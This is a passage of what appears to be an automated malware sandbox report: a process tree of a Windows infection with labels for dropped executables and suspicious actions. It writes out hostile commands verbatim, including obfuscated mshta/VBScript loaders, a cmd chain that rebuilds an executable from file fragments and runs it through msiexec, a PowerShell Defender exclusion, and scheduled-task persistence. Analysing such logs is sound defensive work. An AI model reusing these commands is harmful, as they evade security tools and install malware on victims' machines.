        "C:\Users\Admin\Pictures\Adobe Films\bIHoiJAtU6jWmXCZQs6TUIdO.exe"
        9⤵
        
        PID:2712
        
        C:\Users\Admin\Pictures\Adobe Films\EMI2CcQVGGEuIinQz9vPK3EA.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\EMI2CcQVGGEuIinQz9vPK3EA.exe"
        9⤵
        
        PID:7172
        
        C:\Users\Admin\Pictures\Adobe Films\p0ACEhxbX4qJ0b3g70RUweBH.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\p0ACEhxbX4qJ0b3g70RUweBH.exe"
        9⤵
        
        PID:5156
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        10⤵
        
        PID:6480
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        11⤵
        Kills process with taskkill
        
        PID:5084
        
        C:\Users\Admin\Pictures\Adobe Films\pQ6GvVFfwpjGIym394Yxmehr.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\pQ6GvVFfwpjGIym394Yxmehr.exe"
        9⤵
        
        PID:7448
        
        C:\Users\Admin\Pictures\Adobe Films\of5ky71FRdCXi0xa55s6dbjo.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\of5ky71FRdCXi0xa55s6dbjo.exe"
        9⤵
        
        PID:4668
        
        C:\Users\Admin\Pictures\Adobe Films\2021gEyhby0aAT7EsrDIg9E6.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\2021gEyhby0aAT7EsrDIg9E6.exe"
        9⤵
        
        PID:6952
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\2021gEyhby0aAT7EsrDIg9E6.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\2021gEyhby0aAT7EsrDIg9E6.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
        10⤵
        
        PID:5456
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\2021gEyhby0aAT7EsrDIg9E6.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\2021gEyhby0aAT7EsrDIg9E6.exe" ) do taskkill -f -iM "%~NxM"
        11⤵
        Blocklisted process makes network request
        Executes dropped EXE
        
        PID:5860
        
        C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe
        
        ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi
        12⤵
        
        PID:7012
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
        13⤵
        
        PID:7892
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"
        14⤵
        
        PID:5504
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )
        13⤵
        
        PID:7568
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC
        14⤵
        
        PID:5928
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        15⤵
        
        PID:7880
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EcHo "
        15⤵
        
        PID:5776
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"
        15⤵
        
        PID:7716
        
        C:\Windows\SysWOW64\msiexec.exe
        
        msiexec -Y ..\lXQ2g.WC
        15⤵
        
        PID:2108
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f -iM "2021gEyhby0aAT7EsrDIg9E6.exe"
        12⤵
        Kills process with taskkill
        
        PID:3160
        
        C:\Users\Admin\Pictures\Adobe Films\9qEJw4cYDt2EyyTj48hQmUFC.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\9qEJw4cYDt2EyyTj48hQmUFC.exe"
        9⤵
        
        PID:5488
        
        C:\Users\Admin\AppData\Local\Temp\is-VII5U.tmp\9qEJw4cYDt2EyyTj48hQmUFC.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-VII5U.tmp\9qEJw4cYDt2EyyTj48hQmUFC.tmp" /SL5="$304FE,506127,422400,C:\Users\Admin\Pictures\Adobe Films\9qEJw4cYDt2EyyTj48hQmUFC.exe"
        10⤵
        
        PID:6228
        
        C:\Users\Admin\AppData\Local\Temp\is-ND5SC.tmp\DYbALA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-ND5SC.tmp\DYbALA.exe" /S /UID=2709
        11⤵
        
        PID:7212
        
        C:\Program Files\Windows Mail\JRDXBLALDC\foldershare.exe
        
        "C:\Program Files\Windows Mail\JRDXBLALDC\foldershare.exe" /VERYSILENT
        12⤵
        
        PID:7852
        
        C:\Users\Admin\AppData\Local\Temp\63-edb99-03e-bab9a-512eb316f05ed\ZHujydameri.exe
        
        "C:\Users\Admin\AppData\Local\Temp\63-edb99-03e-bab9a-512eb316f05ed\ZHujydameri.exe"
        12⤵
        
        PID:1436
        
        C:\Users\Admin\AppData\Local\Temp\46-55d85-098-f7b98-75abd5619e559\Xizhuvymanu.exe
        
        "C:\Users\Admin\AppData\Local\Temp\46-55d85-098-f7b98-75abd5619e559\Xizhuvymanu.exe"
        12⤵
        
        PID:6484
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\s2mumxqz.oei\GcleanerEU.exe /eufive & exit
        13⤵
        
        PID:8336
        
        C:\Users\Admin\AppData\Local\Temp\s2mumxqz.oei\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\s2mumxqz.oei\GcleanerEU.exe /eufive
        14⤵
        
        PID:8960
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\wuterqbs.x0b\installer.exe /qn CAMPAIGN="654" & exit
        13⤵
        
        PID:8716
        
        C:\Users\Admin\AppData\Local\Temp\wuterqbs.x0b\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\wuterqbs.x0b\installer.exe /qn CAMPAIGN="654"
        14⤵
        
        PID:8464
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3dwfatqz.kwj\any.exe & exit
        13⤵
        
        PID:8964
        
        C:\Users\Admin\AppData\Local\Temp\3dwfatqz.kwj\any.exe
        
        C:\Users\Admin\AppData\Local\Temp\3dwfatqz.kwj\any.exe
        14⤵
        
        PID:9204
        
        C:\Users\Admin\AppData\Local\Temp\3dwfatqz.kwj\any.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3dwfatqz.kwj\any.exe" -u
        15⤵
        
        PID:1276
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rg2o2cec.34q\gcleaner.exe /mixfive & exit
        13⤵
        
        PID:9120
        
        C:\Users\Admin\AppData\Local\Temp\rg2o2cec.34q\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\rg2o2cec.34q\gcleaner.exe /mixfive
        14⤵
        
        PID:4180
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\b3woj1vs.ldt\autosubplayer.exe /S & exit
        13⤵
        
        PID:9164
        
        C:\Users\Admin\Pictures\Adobe Films\Mt0pGV9HE2_5hFDdxYV7RsbL.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Mt0pGV9HE2_5hFDdxYV7RsbL.exe"
        9⤵
        
        PID:2304
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
        10⤵
        
        PID:6264
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--loGQqfG2tg"
        11⤵
        
        PID:8804
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x214,0x218,0x21c,0x1f0,0x220,0x7ffa3ecadec0,0x7ffa3ecaded0,0x7ffa3ecadee0
        12⤵
        
        PID:6220
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff683099e70,0x7ff683099e80,0x7ff683099e90
        13⤵
        
        PID:9000
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1760,4783661071415465793,1421252551423370130,131072 --lang=ja --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8804_1100487165" --mojo-platform-channel-handle=1776 /prefetch:8
        12⤵
        
        PID:5572
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
        8⤵
        Loads dropped DLL
        Creates scheduled task(s)
        
        PID:5028
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
        8⤵
        Creates scheduled task(s)
        
        PID:2712
        
        C:\Users\Admin\Pictures\Adobe Films\Zw8Q4VzGVkvw6DEifS7aZRag.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Zw8Q4VzGVkvw6DEifS7aZRag.exe"
        7⤵
        
        PID:5964
        
        C:\Users\Admin\AppData\Local\Temp\c9817e7f-2dcd-40b1-8f5c-e34980527696\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\c9817e7f-2dcd-40b1-8f5c-e34980527696\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\c9817e7f-2dcd-40b1-8f5c-e34980527696\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
        8⤵
        
        PID:5172
        
        C:\Users\Admin\AppData\Local\Temp\c9817e7f-2dcd-40b1-8f5c-e34980527696\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\c9817e7f-2dcd-40b1-8f5c-e34980527696\AdvancedRun.exe" /SpecialRun 4101d8 5172
        9⤵
        
        PID:3476
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\Zw8Q4VzGVkvw6DEifS7aZRag.exe" -Force
        8⤵
        
        PID:6604
        
        C:\Users\Admin\Pictures\Adobe Films\Zw8Q4VzGVkvw6DEifS7aZRag.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Zw8Q4VzGVkvw6DEifS7aZRag.exe"
        8⤵
        
        PID:3196
        
        C:\Users\Admin\Pictures\Adobe Films\I3SvyD0GFOa_p0zKMWGuvHDg.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\I3SvyD0GFOa_p0zKMWGuvHDg.exe"
        7⤵
        Executes dropped EXE
        
        PID:5984
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5984 -s 656
        8⤵
        Program crash
        
        PID:6580
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5984 -s 544
        8⤵
        Program crash
        
        PID:6980
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5984 -s 684
        8⤵
        Program crash
        
        PID:6276
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5984 -s 652
        8⤵
        Program crash
        
        PID:6416
        
        C:\Users\Admin\Pictures\Adobe Films\vrP0w5oea8atu56ZTYwzPW6W.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\vrP0w5oea8atu56ZTYwzPW6W.exe"
        7⤵
        
        PID:6060
        
        C:\Users\Admin\Pictures\Adobe Films\v_lxWPWyyQa5IH0Gr3FB4Rlq.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\v_lxWPWyyQa5IH0Gr3FB4Rlq.exe"
        7⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5168
        
        C:\Users\Admin\Pictures\Adobe Films\rdi6ZAB6F9houpl8E8kEAMBC.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\rdi6ZAB6F9houpl8E8kEAMBC.exe"
        7⤵
        Executes dropped EXE
        
        PID:4856
        
        C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        8⤵
        
        PID:6392
        
        C:\Users\Admin\AppData\Local\Temp\BCleanSoft86.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BCleanSoft86.exe"
        9⤵
        
        PID:6096
        
        C:\ProgramData\8035521.exe
        
        "C:\ProgramData\8035521.exe"
        10⤵
        
        PID:4164
        
        C:\ProgramData\7200620.exe
        
        "C:\ProgramData\7200620.exe"
        10⤵
        Suspicious behavior: SetClipboardViewer
        
        PID:7324
        
        C:\ProgramData\7666435.exe
        
        "C:\ProgramData\7666435.exe"
        10⤵
        
        PID:7708
        
        C:\ProgramData\8161637.exe
        
        "C:\ProgramData\8161637.exe"
        10⤵
        Checks whether UAC is enabled
        
        PID:6152
        
        C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe"
        9⤵
        
        PID:6860
        
        C:\Users\Admin\AppData\Local\Temp\zhangm-game.exe
        
        "C:\Users\Admin\AppData\Local\Temp\zhangm-game.exe"
        9⤵
        
        PID:6216
        
        C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe
        
        "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"
        9⤵
        Checks whether UAC is enabled
        
        PID:6244
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
        10⤵
        Checks whether UAC is enabled
        
        PID:4300
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"
        11⤵
        
        PID:6596
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        12⤵
        
        PID:5756
        
        C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe
        
        ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi
        12⤵
        Checks whether UAC is enabled
        
        PID:7556
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
        13⤵
        Checks whether UAC is enabled
        
        PID:7864
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"
        14⤵
        
        PID:8092
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )
        13⤵
        
        PID:7744
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC
        14⤵
        
        PID:7964
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EcHo "
        15⤵
        
        PID:6720
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"
        15⤵
        
        PID:6820
        
        C:\Windows\SysWOW64\msiexec.exe
        
        msiexec -Y ..\lXQ2g.WC
        15⤵
        
        PID:4872
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f -iM "search_hyperfs_206.exe"
        12⤵
        Kills process with taskkill
        
        PID:6456
        
        C:\Users\Admin\AppData\Local\Temp\1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1.exe"
        9⤵
        
        PID:364
        
        C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        10⤵
        
        PID:6536
        
        C:\Users\Admin\AppData\Local\Temp\askinstall25.exe
        
        "C:\Users\Admin\AppData\Local\Temp\askinstall25.exe"
        9⤵
        
        PID:4236
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        10⤵
        
        PID:7984
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        11⤵
        Kills process with taskkill
        
        PID:8184
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        9⤵
        
        PID:6508
        
        C:\Users\Admin\AppData\Local\Temp\is-U6HIO.tmp\setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-U6HIO.tmp\setup.tmp" /SL5="$30266,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"
        10⤵
        
        PID:5028
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
        11⤵
        Executes dropped EXE
        Windows security modification
        Suspicious use of SetThreadContext
        
        PID:5964
        
        C:\Users\Admin\AppData\Local\Temp\is-IIJI0.tmp\setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-IIJI0.tmp\setup.tmp" /SL5="$503BC,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
        12⤵
        Loads dropped DLL
        Checks whether UAC is enabled
        Drops file in Program Files directory
        Suspicious use of FindShellTrayWindow
        
        PID:3020
        
        C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe
        
        "C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe" /q /norestart
        13⤵
        
        PID:8064
        
        C:\c1a4893248c30fcf644a\Setup.exe
        
        C:\c1a4893248c30fcf644a\\Setup.exe /q /norestart /x86 /x64 /web
        14⤵
        Loads dropped DLL
        Checks processor information in registry
        
        PID:7408
        
        C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe
        
        "C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe" ss1
        13⤵
        Checks whether UAC is enabled
        
        PID:8056
        
        C:\Users\Admin\AppData\Local\Temp\is-FREPK.tmp\postback.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-FREPK.tmp\postback.exe" ss1
        13⤵
        Checks whether UAC is enabled
        
        PID:8048
        
        C:\Users\Admin\AppData\Local\Temp\inst2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\inst2.exe"
        9⤵
        
        PID:5392
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        9⤵
        
        PID:1192
        
        C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"
        9⤵
        Loads dropped DLL
        
        PID:7120
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
        10⤵
        Modifies Internet Explorer settings
        
        PID:1756
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--loGQqfG2tg"
        11⤵
        
        PID:868
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x20c,0x210,0x214,0x1e8,0x218,0x7ffa3ecadec0,0x7ffa3ecaded0,0x7ffa3ecadee0
        12⤵
        
        PID:6828
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff683099e70,0x7ff683099e80,0x7ff683099e90
        13⤵
        
        PID:7112
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1896,10066622340436611766,9168628812902982151,131072 --lang=ja --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw868_843468255" --mojo-platform-channel-handle=1972 /prefetch:8
        12⤵
        
        PID:7396
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1896,10066622340436611766,9168628812902982151,131072 --lang=ja --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw868_843468255" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2664 /prefetch:1
        12⤵
        
        PID:7668
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1896,10066622340436611766,9168628812902982151,131072 --lang=ja --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw868_843468255" --mojo-platform-channel-handle=1960 /prefetch:8
        12⤵
        
        PID:8052
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
